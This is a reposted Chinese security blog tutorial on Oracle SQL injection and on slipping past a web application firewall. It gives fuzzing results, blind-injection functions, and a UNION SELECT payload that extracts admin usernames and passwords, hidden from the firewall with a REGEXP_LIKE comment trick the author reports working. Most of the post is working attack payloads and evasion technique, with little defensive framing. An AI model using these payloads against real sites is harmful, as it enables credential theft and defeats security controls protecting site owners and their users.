oracle注入绕狗

admin 2022年4月2日08:44:27评论93 views字数 1606阅读5分21秒阅读模式

本文转自先知社区:https://xz.aliyun.com/t/10347

作者:抹布


oracle注入绕狗
原创稿件征集

邮箱:[email protected]
QQ:3200599554
黑客极客技术、信息安全热点
安全研究分析

等安全相关的技术文章
稿件通过并发布还能收获
200-800元不等的稿酬


0x00 前言

最近学习了oracle注入,和mysql比语法差异还是有的,做下小记录,后面是尝试绕狗。

0x01 简单fuzz

空白符
%09 %0A %0B %0C %0D

当注入类型为数字型即id=1(fuzz点)union select 全字符url编码fuzz一遍后,发现%2E %44 %46 %64 %66这些字符添加不影响SQL语句运行。url解码后为 . D F d f

oracle注入绕狗

oracle注入绕狗

ALL | DISTINCT
union ALL select DISTINCT null, to_nchar(UNAME), to_nchar(UPASS), null from ADMIN

oracle注入绕狗

函数

decode ascii chr

查询当前用户的第一个字段是否为S 是返回1否返回0select decode(substr((select user from dual),1,1), chr(83), 1, 0) value from dual;select decode(ascii(substr((select user from dual),1,1)), '83', 1, 0) value from dual;

case when instr

select decode((instr(user, chr(83), 1, 1)), 1, 1, 0) value from dual;select case instr(user, chr(83), 1, 1) when 1 then 1 else 0 end value from dual;

lrpad rpad

select decode('S', rpad(user, 1,1), 1, 0) value from dual;select decode('S'||'Y', rpad(user, 2,1), 1, 0) value from dual;select decode(concat('SYS','TEM'), rpad(user, 6,1), 1, 0) value from dual;

更多函数

chr,concat,initcap,lower,lpad/rpad,nls_initcap,nls_lower,nls_upper,regexp_replace,regexp_substr,replace,trim/ltrim/rtrim,soundex,substr,translate,upper

0x02 绕狗

思路很简单,当用/*sql语句*/注释把语句包裹起来时就不会拦截了,当然sql语句也无法正常执行了。

oracle注入绕狗

要做的就是前面带上/*闭合的*/直接放在结尾注释后面,而且不影响sql语句的执行,我是找到了一个正则函数 REGEXP_LIKE带上/*

and REGEXP_LIKE(null, '/*')  union select null, to_nchar(UNAME), to_nchar(UPASS), null from ADMIN--*/


oracle注入绕狗


sql语句也可以正常执行。oracle注入绕狗

这样也行oracle注入绕狗

oracle注入绕狗

0x03 小结

学习了基础的oracle注入知识,尝试绕狗这里我是官网测试的,实际环境可能有不同,个人觉得注入bypass这类还得看对sql语法的了解,越熟悉bypass的思路多些。

0x04 参考

https://www.t00ls.cc/viewthread.php?tid=57124&highlight=oracle


实操推荐:Oracle手工盲注

PC端体验地址:http://mrw.so/6ta87q

本实验主要介绍了oracle数据库的手工盲注,通过本实验的学习,你能够了解

Oracle数据库,掌握基本的Oracle注入语句,学会对oracle数据库的手工注入。


oracle注入绕狗
“阅读原文”体验免费靶场!

原文始发于微信公众号(合天网安实验室):oracle注入绕狗

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月2日08:44:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   oracle注入绕狗http://cn-sec.com/archives/582266.html

发表评论

匿名网友 填写信息